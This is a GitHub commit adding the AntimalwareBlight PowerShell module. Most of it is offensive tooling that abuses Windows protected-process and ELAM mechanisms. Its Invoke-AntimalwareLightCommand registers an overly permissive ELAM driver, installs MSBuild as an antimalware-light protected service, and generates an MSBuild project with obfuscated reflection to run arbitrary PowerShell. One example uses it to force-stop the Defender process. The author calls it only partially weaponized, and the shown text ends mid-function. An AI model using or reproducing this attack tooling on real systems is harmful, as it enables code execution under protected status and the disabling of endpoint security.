mirror of
https://github.com/mattifestation/AntimalwareBlight
synced 2026-06-06 16:04:38 +00:00
Adding AntimalwareBlight PowerShell module
This commit is contained in:
@@ -0,0 +1,770 @@
|
||||
#Requires -Version 5.1
|
||||
|
||||
# Author: Matt Graeber
|
||||
# License: BSD 3-Clause
|
||||
|
||||
$ModuleRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
|
||||
|
||||
# Dnlib is used by Get-ElamCertInfo to help with parsing the MICROSOFTELAMCERTIFICATEINFO resource
|
||||
# File hash: 6A8D4C28593DFCD9A28B93E95D5D97616C79A0CAF509CD83C5FA2FAEAEAB0EAD
|
||||
# https://www.virustotal.com/gui/file/6a8d4c28593dfcd9a28b93e95d5d97616c79a0caf509cd83c5fa2faeaeab0ead
|
||||
$DnlibBytes = [IO.File]::ReadAllBytes("$ModuleRoot\dnlib.dll")
|
||||
|
||||
try {
|
||||
$null = [Reflection.Assembly]::Load($DnlibBytes)
|
||||
} catch {
|
||||
throw $_
|
||||
return
|
||||
}
|
||||
|
||||
if (-not ('ProcessHelper.ProcessNativeMethods' -as [Type])) {
|
||||
$TypeDef = @'
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace ProcessHelper {
|
||||
public class ProcessNativeMethods {
|
||||
public enum PsProtectedType {
|
||||
None = 0,
|
||||
ProtectedLight = 1,
|
||||
Protected = 2,
|
||||
Max = 3
|
||||
}
|
||||
|
||||
public enum PsProtectedSigner {
|
||||
None = 0,
|
||||
Authenticode = 1,
|
||||
CodeGen = 2,
|
||||
Antimalware = 3,
|
||||
Lsa = 4,
|
||||
Windows = 5,
|
||||
WinTcb = 6,
|
||||
Max = 7
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(
|
||||
int processAccess,
|
||||
bool bInheritHandle,
|
||||
int processId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(
|
||||
IntPtr hHandle);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern int NtQueryInformationProcess(
|
||||
IntPtr ProcessHandle,
|
||||
uint ProcessInformationClass,
|
||||
ref byte ProcessInformation,
|
||||
uint ProcessInformationLength,
|
||||
ref uint ReturnLength);
|
||||
}
|
||||
}
|
||||
'@
|
||||
|
||||
Add-Type -TypeDefinition $TypeDef
|
||||
}
|
||||
|
||||
filter Get-ProcessProtectionLevel {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Displays the protection level of a process.
|
||||
|
||||
Author: Matt Graeber
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-ProcessProtectionLevel displays the protection level of a process.
|
||||
|
||||
.PARAMETER ProcessId
|
||||
|
||||
Specifies the process ID of the process.
|
||||
|
||||
.PARAMETER ReturnOnlyProtected
|
||||
|
||||
Specifies that Get-ProcessProtectionLevel should only return output if the process is protected.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process -Name MsMpEng | Get-ProcessProtectionLevel
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process | Get-ProcessProtectionLevel -ReturnOnlyProtected -ErrorAction SilentlyContinue
|
||||
|
||||
Returns the specific protection levels for all protected processes.
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter(Mandatory, ValueFromPipelineByPropertyName)]
|
||||
[Int]
|
||||
[Alias('Id')]
|
||||
$ProcessId,
|
||||
|
||||
[Switch]
|
||||
$ReturnOnlyProtected
|
||||
)
|
||||
|
||||
$ProcessProtectionInformation = 0x0000003D
|
||||
|
||||
[Byte] $ProtectionLevel = 0
|
||||
[UInt32] $ReturnLength = 0
|
||||
|
||||
$ProcessHandle = [ProcessHelper.ProcessNativeMethods]::OpenProcess(
|
||||
0x00001000, # QueryLimitedInformation
|
||||
$False,
|
||||
$ProcessId
|
||||
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
if ($ProcessHandle -and ($ProcessHandle -is [IntPtr]) -and ($ProcessHandle -ne [IntPtr]::Zero)) {
|
||||
$Result = [ProcessHelper.ProcessNativeMethods]::NtQueryInformationProcess(
|
||||
$ProcessHandle,
|
||||
$ProcessProtectionInformation,
|
||||
[Ref] $ProtectionLevel,
|
||||
1,
|
||||
[Ref] $ReturnLength
|
||||
)
|
||||
|
||||
if (($Result -eq 0) -and ($ReturnLength -eq 1)) {
|
||||
$ProtectedTypeValue = [Byte] ($ProtectionLevel -band 0x07)
|
||||
$ProtectedSignerValue = [Byte] (($ProtectionLevel -band 0xF0) -shr 4)
|
||||
|
||||
if ((-not $ReturnOnlyProtected) -or ($ReturnOnlyProtected -and ($ProtectedTypeValue -gt 0))) {
|
||||
$ProcessInstance = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = '$ProcessId'" -Property Name
|
||||
|
||||
[PSCustomObject] @{
|
||||
ProcessId = $ProcessId
|
||||
ProcessName = $ProcessInstance.Name
|
||||
Type = ([ProcessHelper.ProcessNativeMethods+PsProtectedType] $ProtectedTypeValue)
|
||||
Signer = ([ProcessHelper.ProcessNativeMethods+PsProtectedSigner] $ProtectedSignerValue)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Write-Error "Failed to obtain process protection level for process ID: $ProcessId. Error message: $(([ComponentModel.Win32Exception] $Result).Message). Error code: 0x$($Result.ToString('X8'))"
|
||||
}
|
||||
|
||||
$null = [ProcessHelper.ProcessNativeMethods]::CloseHandle($ProcessHandle)
|
||||
} else {
|
||||
Write-Error "Unable to obtain a process handle for process ID: $ProcessId. Error message: $($LastError.Message). Error code: 0x$($LastError.NativeErrorCode.ToString('X8'))"
|
||||
}
|
||||
}
|
||||
|
||||
function Get-ElamCertInfo {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Extract early launch anti-malware certificate information from an ELAM driver.
|
||||
|
||||
Author: Matt Graeber
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-ElamCertInfo parses out the MICROSOFTELAMCERTIFICATEINFO resource of an ELAM driver. The information contained in this structure contains a list of approved anti-malware product signers.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
Specifies the path to the target ELAM driver.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-CimInstance Win32_LoadOrderGroup -Filter 'Name = "Early-launch"' | Get-CimAssociatedInstance -Association Win32_LoadOrderGroupServiceMembers | Get-ElamCertInfo
|
||||
|
||||
Description
|
||||
-----------
|
||||
|
||||
Parse approved ELAM anti-malware signer information from any currently installed ELAM drivers.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-ChildItem -Path download | Get-ElamCertInfo
|
||||
|
||||
Description
|
||||
-----------
|
||||
|
||||
Parse approved ELAM anti-malware signer information from a directory containing ELAM drivers.
|
||||
|
||||
.LINK
|
||||
|
||||
https://msdn.microsoft.com/en-us/library/windows/desktop/dn313124
|
||||
http://www.alex-ionescu.com/?p=146
|
||||
#>
|
||||
|
||||
param (
|
||||
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
||||
[ValidateScript({ Test-Path -Path $_ })]
|
||||
[Alias('PathName')]
|
||||
[Alias('FullName')]
|
||||
[String[]]
|
||||
$Path
|
||||
)
|
||||
|
||||
BEGIN {
|
||||
$HashAlgorithmTable = @{
|
||||
[UInt16] 32771 = 'MD5'
|
||||
[UInt16] 32772 = 'SHA1'
|
||||
[UInt16] 32780 = 'SHA256'
|
||||
[UInt16] 32781 = 'SHA384'
|
||||
[UInt16] 32782 = 'SHA512'
|
||||
}
|
||||
}
|
||||
|
||||
PROCESS {
|
||||
foreach ($FilePath in $Path) {
|
||||
$FullPath = Resolve-Path $FilePath
|
||||
|
||||
$PEImage = New-Object -TypeName dnlib.PE.PEImage -ArgumentList $FullPath
|
||||
|
||||
if ($PEImage) {
|
||||
$FileInfo = Get-Item -Path $FullPath
|
||||
$FileHash = Get-FileHash -Path $FullPath -Algorithm SHA256
|
||||
|
||||
$ObjectProperties = [Ordered] @{
|
||||
CompanyName = $FileInfo.VersionInfo.CompanyName
|
||||
OriginalFilename = $FileInfo.VersionInfo.OriginalFilename
|
||||
InternalName = $FileInfo.VersionInfo.InternalName
|
||||
FileVersion = $FileInfo.VersionInfo.FileVersion
|
||||
FileDescription = $FileInfo.VersionInfo.FileDescription
|
||||
FileHash = $FileHash.Hash
|
||||
ApprovedAntiMalwareSigners = $null
|
||||
}
|
||||
|
||||
$ELAMCertInfo = $PEImage.Win32Resources.Root.Directories | Where-Object { $_.Name -eq 'MSELAMCERTINFOID' }
|
||||
|
||||
if ($ELAMCertInfo) {
|
||||
$MSElamCertInfo = $ELAMCertInfo.Directories | Where-Object { $_.Name -eq 'MICROSOFTELAMCERTIFICATEINFO' }
|
||||
|
||||
if ($MSElamCertInfo) {
|
||||
$ResourceData = $MSElamCertInfo.Data[0].Data
|
||||
|
||||
if ($ResourceData) {
|
||||
$ELAMCertInfoBytes = $ResourceData.ReadBytes($ResourceData.Length)
|
||||
|
||||
$AntiMalwareSignerRuleCount = [BitConverter]::ToUInt16($ELAMCertInfoBytes, 0)
|
||||
|
||||
$CurrentIndex = 0
|
||||
|
||||
$AntiMalwareSignerRules = New-Object -TypeName PSObject[]($AntiMalwareSignerRuleCount)
|
||||
|
||||
for ($i = 0; $i -lt $AntiMalwareSignerRuleCount; $i++) {
|
||||
$CurrentIndex += 2
|
||||
|
||||
# Obtain the index of the end of the first string
|
||||
$TBSHashIndex = $CurrentIndex
|
||||
while ([BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex) -ne 0) { $CurrentIndex += 2 }
|
||||
|
||||
$CertTBSHash = [Text.Encoding]::Unicode.GetString($ELAMCertInfoBytes[$TBSHashIndex..($CurrentIndex - 1)])
|
||||
|
||||
$CurrentIndex += 2
|
||||
|
||||
$HashAlgorithm = $HashAlgorithmTable[[BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex)]
|
||||
|
||||
$CurrentIndex += 2
|
||||
|
||||
$EKUListIndex = $CurrentIndex
|
||||
|
||||
while ([BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex) -ne 0) { $CurrentIndex += 2 }
|
||||
|
||||
$EKUList = $null
|
||||
|
||||
if ($CurrentIndex - $EKUListIndex) {
|
||||
$EKUList = [Text.Encoding]::Unicode.GetString($ELAMCertInfoBytes[$EKUListIndex..($CurrentIndex - 1)])
|
||||
}
|
||||
|
||||
$AntiMalwareSignerRules[$i] = [PSCustomObject] @{
|
||||
AntiMalwareServiceSignerHash = $CertTBSHash
|
||||
AntiMalwareServiceSignerHashAlgorithm = $HashAlgorithm
|
||||
AntiMalwareServiceSignerEKUs = $EKUList
|
||||
}
|
||||
}
|
||||
|
||||
$ObjectProperties['ApprovedAntiMalwareSigners'] = $AntiMalwareSignerRules
|
||||
|
||||
New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Register-ELAMDriver {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Registers an ELAM driver's certificate information.
|
||||
|
||||
Author: Matt Graeber
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Register-ELAMDriver is a wrapper for the InstallELAMCertificateInfo function.
|
||||
|
||||
.PARAMETER ELAMDriverFilePath
|
||||
|
||||
Specifies the path to the target ELAM driver.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Register-ELAMDriver -ELAMDriverFilePath OverlyPermissiveELAMDriver.sys
|
||||
|
||||
.LINK
|
||||
|
||||
https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-installelamcertificateinfo
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter(Mandatory, Position = 0)]
|
||||
[String]
|
||||
$ELAMDriverFilePath
|
||||
)
|
||||
|
||||
if (-not ('Elam' -as [Type])) {
|
||||
Add-Type -TypeDefinition @'
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
public static class Elam {
|
||||
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
|
||||
public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);
|
||||
}
|
||||
'@
|
||||
}
|
||||
|
||||
$DriverFullPath = Resolve-Path -Path $ELAMDriverFilePath -ErrorAction Stop
|
||||
|
||||
$FileStream = [IO.File]::Open($DriverFullPath, [IO.FileMode]::Open, [IO.FileAccess]::Read, [IO.FileShare]::Read)
|
||||
|
||||
$Result = [Elam]::InstallELAMCertificateInfo($FileStream.SafeFileHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
if ($Result -eq $False) {
|
||||
$FileStream.Close()
|
||||
throw $LastError
|
||||
}
|
||||
|
||||
$FileStream.Close()
|
||||
}
|
||||
|
||||
function Install-ProtectedService {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Installs a protected service.
|
||||
|
||||
Author: Matt Graeber
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Install-ProtectedService installs an executable with optional argument as an antimalware-light protected service.
|
||||
|
||||
.PARAMETER ExecutableFilePath
|
||||
|
||||
Specifies the path to the service executable.
|
||||
|
||||
.PARAMETER Arguments
|
||||
|
||||
Specifies optional arguments to the service executable.
|
||||
|
||||
.PARAMETER ServiceName
|
||||
|
||||
Specifies the name of the service to install.
|
||||
|
||||
.PARAMETER DisplayName
|
||||
|
||||
Specifies the display name of the service.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Install-ProtectedService -ExecutableFilePath msbuild.exe -Arguments runme.csproj -ServiceName ProtectedMSBuild -DisplayName 'This is a protected msbuild service'
|
||||
|
||||
.LINK
|
||||
|
||||
https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#starting-the-service-as-protected
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter(Mandatory)]
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$ExecutableFilePath,
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$Arguments,
|
||||
|
||||
[Parameter(Mandatory)]
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$ServiceName,
|
||||
|
||||
[Parameter(Mandatory)]
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$DisplayName
|
||||
)
|
||||
|
||||
if (-not (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
|
||||
throw 'Install-ProtectedService must run from an elevated PowerShell session.'
|
||||
}
|
||||
|
||||
if (-not ('ServiceHelper.ProcessNativeMethods' -as [Type])) {
|
||||
$TypeDef = @'
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace ServiceHelper {
|
||||
[Flags]
|
||||
public enum SC_MANAGER {
|
||||
AllAccess = 0xF003F,
|
||||
Connect = 0x0001,
|
||||
CreateService = 0x0002,
|
||||
EnumerateService = 0x0004,
|
||||
Lock = 0x0008,
|
||||
QueryLockStatus = 0x0010,
|
||||
ModifyBootConfig = 0x0020
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum SERVICE {
|
||||
AllAccess = 0xF01FF,
|
||||
Delete = 0x10000,
|
||||
QueryConfig = 0x0001,
|
||||
ChangeConfig = 0x0002,
|
||||
QueryStatus = 0x0004,
|
||||
EnumerateDependents = 0x0008,
|
||||
Start = 0x0010,
|
||||
Stop = 0x0020,
|
||||
PauseContinue = 0x0040,
|
||||
Interrogate = 0x0080,
|
||||
UserDefinedControl = 0x0100
|
||||
}
|
||||
|
||||
public enum SERVICE_CONFIG {
|
||||
ConfigDescription = 1, // SERVICE_CONFIG_DESCRIPTION
|
||||
FailureActions = 2, // SERVICE_CONFIG_FAILURE_ACTIONS
|
||||
DelayedAutoStartInfo = 3, // SERVICE_CONFIG_DELAYED_AUTO_START_INFO
|
||||
FailureActionsFlag = 4, // SERVICE_CONFIG_FAILURE_ACTIONS_FLAG
|
||||
ServiceSIDInfo = 5, // SERVICE_CONFIG_SERVICE_SID_INFO
|
||||
RequiredPrivilegesInfo = 6, // SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO
|
||||
PreshutdownInfo = 7, // SERVICE_CONFIG_PRESHUTDOWN_INFO
|
||||
TriggerInfo = 8, // SERVICE_CONFIG_TRIGGER_INFO
|
||||
PreferredNode = 9, // SERVICE_CONFIG_PREFERRED_NODE
|
||||
LaunchProtected = 12 // SERVICE_CONFIG_LAUNCH_PROTECTED
|
||||
}
|
||||
|
||||
public enum SERVICE_LAUNCH_PROTECTED {
|
||||
None = 0, // SERVICE_LAUNCH_PROTECTED_NONE
|
||||
Windows = 1, // SERVICE_LAUNCH_PROTECTED_WINDOWS
|
||||
WindowsLight = 2, // SERVICE_LAUNCH_PROTECTED_WINDOWS_LIGHT
|
||||
AntimalwareLight = 3 // SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum SERVICE_START {
|
||||
BootStart = 0x0000,
|
||||
SystemStart = 0x0001,
|
||||
AutoStart = 0x0002,
|
||||
DemandStart = 0x0003,
|
||||
Disabled = 0x0004
|
||||
}
|
||||
|
||||
public struct SERVICE_LAUNCH_PROTECTED_INFO {
|
||||
public uint dwLaunchProtected;
|
||||
}
|
||||
|
||||
public class ProcessNativeMethods {
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern IntPtr CreateService(IntPtr hService, string serviceName, string displayName, int access, int serviceType, int startType, int errorControl, string binaryPath, string loadOrderGroup, IntPtr pTagId, string dependencies, string servicesStartName, string password);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern IntPtr OpenSCManager(string machineName, string databaseName, int access);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool ChangeServiceConfig2W(IntPtr hService, SERVICE_CONFIG dwInfoLevel, ref SERVICE_LAUNCH_PROTECTED_INFO lpInfo);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool CloseServiceHandle(IntPtr hService);
|
||||
}
|
||||
}
|
||||
'@
|
||||
|
||||
Add-Type -TypeDefinition $TypeDef -ErrorAction Stop
|
||||
}
|
||||
|
||||
$ServiceExecutableFullPath = Resolve-Path -Path $ExecutableFilePath
|
||||
|
||||
if ($Arguments) {
|
||||
$ServiceBinaryPathName = "`"$ServiceExecutableFullPath`" $Arguments"
|
||||
} else {
|
||||
$ServiceBinaryPathName = "`"$ServiceExecutableFullPath`""
|
||||
}
|
||||
|
||||
Write-Verbose "Obtaining a handle to the Service Control Manager (SCM) with the following access rights: SC_MANAGER_CREATE_SERVICE, SC_MANAGER_CONNECT."
|
||||
# Get a handle to the service control manager requesting the minimum possible access to create a service: SC_MANAGER_CREATE_SERVICE (0x0002) | SC_MANAGER_CONNECT (0x0001)
|
||||
$SCHandle = [ServiceHelper.ProcessNativeMethods]::OpenSCManager(
|
||||
'', # lpMachineName
|
||||
'ServicesActive', # lpDatabaseName
|
||||
[ServiceHelper.SC_MANAGER] 'CreateService, Connect' # dwDesiredAccess
|
||||
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
if ($SCHandle -eq ([IntPtr]::Zero)) {
|
||||
# Failed to open a handle to the service control manager
|
||||
|
||||
Write-Error "Failed to obtain a service control manager handle with SC_MANAGER_CREATE_SERVICE | SC_MANAGER_CONNECT access. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
Write-Verbose 'Creating service.'
|
||||
|
||||
$ServiceHandle = [ServiceHelper.ProcessNativeMethods]::CreateService(
|
||||
$SCHandle, # hSCManager
|
||||
$ServiceName, # lpServiceName
|
||||
$DisplayName, # lpDisplayName
|
||||
([ServiceHelper.SERVICE]::AllAccess), # dwDesiredAccess
|
||||
0x10, # dwServiceType - SERVICE_WIN32_OWN_PROCESS
|
||||
2, # dwStartType - Auto Start
|
||||
1, # dwErrorControl - SERVICE_ERROR_NORMAL
|
||||
$ServiceBinaryPathName, # lpBinaryPathName
|
||||
$null, # lpLoadOrderGroup
|
||||
([IntPtr]::Zero), # lpdwTagId
|
||||
$null, # lpDependencies
|
||||
'LocalSystem', # lpServiceStartName
|
||||
$null # lpPassword
|
||||
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
if ($ServiceHandle -eq ([IntPtr]::Zero)) {
|
||||
# Close the service control manager handle
|
||||
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
|
||||
|
||||
Write-Error "Failed to create service. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
Write-Verbose 'Configuring service as SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT'
|
||||
|
||||
$ServiceLaunchProtectedInfo = New-Object -TypeName ServiceHelper.SERVICE_LAUNCH_PROTECTED_INFO
|
||||
$ServiceLaunchProtectedInfo.dwLaunchProtected = [ServiceHelper.SERVICE_LAUNCH_PROTECTED]::AntimalwareLight
|
||||
|
||||
$Result = [ServiceHelper.ProcessNativeMethods]::ChangeServiceConfig2W(
|
||||
$ServiceHandle, # hService
|
||||
([ServiceHelper.SERVICE_CONFIG]::LaunchProtected), # dwInfoLevel
|
||||
([Ref] $ServiceLaunchProtectedInfo)
|
||||
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
if ($Result -eq $False) {
|
||||
# Close the service handle
|
||||
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($ServiceHandle)
|
||||
|
||||
# Close the service control manager handle
|
||||
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
|
||||
|
||||
Write-Error "Failed to set the service launch protection level. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
# Close the service handle
|
||||
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($ServiceHandle)
|
||||
|
||||
# Close the service control manager handle
|
||||
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
|
||||
}
|
||||
|
||||
function Invoke-AntimalwareLightCommand {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Executes PowerShell code from the context of an antimalware-light protected msbuild.exe process.
|
||||
|
||||
Author: Matt Graeber
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-AntimalwareLightCommand abuse an overly permissive ELAM driver that permits Microsoft-signed code to run at the antimalware-light protection level.
|
||||
|
||||
This function is deliberately only partially weaponized. A user must supply an overly-permissive ELAM driver and Microsoft-signed MSBuild executable.
|
||||
|
||||
.PARAMETER OverlyPermissiveELAMDriverPath
|
||||
|
||||
Specifies the path to an overly permissive ELAM driver that allows the following Microsoft certificate hash: E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3. The user of this function must find and supply their own overly permissive driver. Without it, Invoke-AntimalwareLightCommand will not work.
|
||||
|
||||
.PARAMETER MicrosoftSignedMSBuildPath
|
||||
|
||||
Specifies the path to a Microsoft-signed MSBuild executable. Specifically, you need to supply MSBuild with the following hash: 6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768
|
||||
|
||||
.PARAMETER ScriptBlock
|
||||
|
||||
Specifies the PowerShell code to executed at the antimalware-light protection level. Avoid calling any code that would spawn a child process (e.g. Add-Type) considering protected processes cannot start protected child processes by default.
|
||||
|
||||
.PARAMETER ProtectedServiceName
|
||||
|
||||
Specifies the name of the protected service to install. If -ProtectedServiceName is not specified, "MSBuildProtected" will be used as the default service name.
|
||||
|
||||
.PARAMETER SkipServiceInstall
|
||||
|
||||
Specifies that the service should not be installed. Supply this switch when you want to build a new payload for a service that has already been installed.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-AntimalwareLightCommand -OverlyPermissiveELAMDriverPath OverlyPermissiveELAM.sys -MicrosoftSignedMSBuildPath MSBuild.exe -ScriptBlock { Get-Process -Name MsMpEng.exe | Stop-Process -Force }
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-AntimalwareLightCommand -OverlyPermissiveELAMDriverPath OverlyPermissiveELAM.sys -MicrosoftSignedMSBuildPath MSBuild.exe -ScriptBlock { Start-Sleep -Seconds 20 } -SkipServiceInstall
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter(Mandatory)]
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$OverlyPermissiveELAMDriverPath,
|
||||
|
||||
[Parameter(Mandatory)]
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$MicrosoftSignedMSBuildPath,
|
||||
|
||||
[Parameter(Mandatory)]
|
||||
[ScriptBlock]
|
||||
$ScriptBlock,
|
||||
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$ProtectedServiceName = 'MSBuildProtected',
|
||||
|
||||
[Switch]
|
||||
$SkipServiceInstall
|
||||
)
|
||||
|
||||
if (-not $SkipServiceInstall) {
|
||||
if (-not (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
|
||||
throw 'Invoke-AntimalwareLightCommand must run from an elevated PowerShell session.'
|
||||
}
|
||||
}
|
||||
|
||||
$ResolvedOverlyPermissiveELAMDriverPath = Resolve-Path -Path $OverlyPermissiveELAMDriverPath | Select-Object -ExpandProperty Path
|
||||
$ResolvedMicrosoftSignedMSBuildPath = Resolve-Path -Path $MicrosoftSignedMSBuildPath | Select-Object -ExpandProperty Path
|
||||
|
||||
#region Step #1 Validate ELAM driver and MSBuild
|
||||
# Note: Neither the correct MSBuild nor the target overly-permissive ELAM driver are supplied. I did not want to release a fully-weaponized capability.
|
||||
$MSBuildHash = Get-FileHash -Algorithm SHA256 -Path $ResolvedMicrosoftSignedMSBuildPath
|
||||
|
||||
if ($MSBuildHash.Hash -ne '6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768') {
|
||||
Write-Error "$ResolvedMicrosoftSignedMSBuildPath SHA256 file hash is expected to be 6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768. Hash: $($MSBuildHash.Hash)"
|
||||
return
|
||||
}
|
||||
|
||||
$ELAMCertificateInfo = Get-ElamCertInfo -Path $ResolvedOverlyPermissiveELAMDriverPath -ErrorAction SilentlyContinue
|
||||
|
||||
if (-not $ELAMCertificateInfo) {
|
||||
Write-Error "$ResolvedOverlyPermissiveELAMDriverPath is not a valid ELAM driver."
|
||||
return
|
||||
}
|
||||
|
||||
if ($ELAMCertificateInfo.ApprovedAntiMalwareSigners.AntiMalwareServiceSignerHash -notcontains 'E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3') {
|
||||
Write-Error "The suppled ELAM driver does not contain the target TBS hash that will launch MSBuild protected: E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3. Obtain the right ELAM driver and try again."
|
||||
return
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Step #2 Install the signed ELAM driver that has an overly permissive ruleset
|
||||
Write-Verbose "Installing overly permissive signed ELAM driver."
|
||||
|
||||
Register-ELAMDriver -ELAMDriverFilePath $ResolvedOverlyPermissiveELAMDriverPath -ErrorAction Stop
|
||||
#endregion
|
||||
|
||||
# Step #3 Generate an MSBuild payload that will execute the supplied PowerShell scriptblock
|
||||
$MSBuildProjectFilePath = "$PWD\Runme.proj"
|
||||
|
||||
# Temporary path where the PowerShell runner MSBuild payload will be dropped.
|
||||
# It will be written to disk so that the compiled assembly can be converted to base64 and embedded within the MSBuild project file.
|
||||
$PowerShellRunnerFilePath = "$PWD\PSRunner.dll"
|
||||
|
||||
$MSBuildProjectTemplate = @"
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Target Name="TestTarget">
|
||||
<PropertyGroup>
|
||||
<TestProperty>`$([System.Activator]::CreateInstance(`$([System.Ref`lection.A`sse`mbly]::Load(`$([System.Convert]::FromBase64String("REPLACEME"))).GetType("Test")))))</TestProperty>
|
||||
</PropertyGroup>
|
||||
</Target>
|
||||
</Project>
|
||||
"@
|
||||
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Management.Automation;
|
||||
|
||||
public class Test {
|
||||
public Test() {
|
||||
PowerShell ps = PowerShell.Create();
|
||||
ps.AddScript(@"$($ScriptBlock.ToString().Replace('"', '""'))", true);
|
||||
ps.Invoke();
|
||||
}
|
||||
}
|
||||
"@ -OutputAssembly $PowerShellRunnerFilePath
|
||||
|
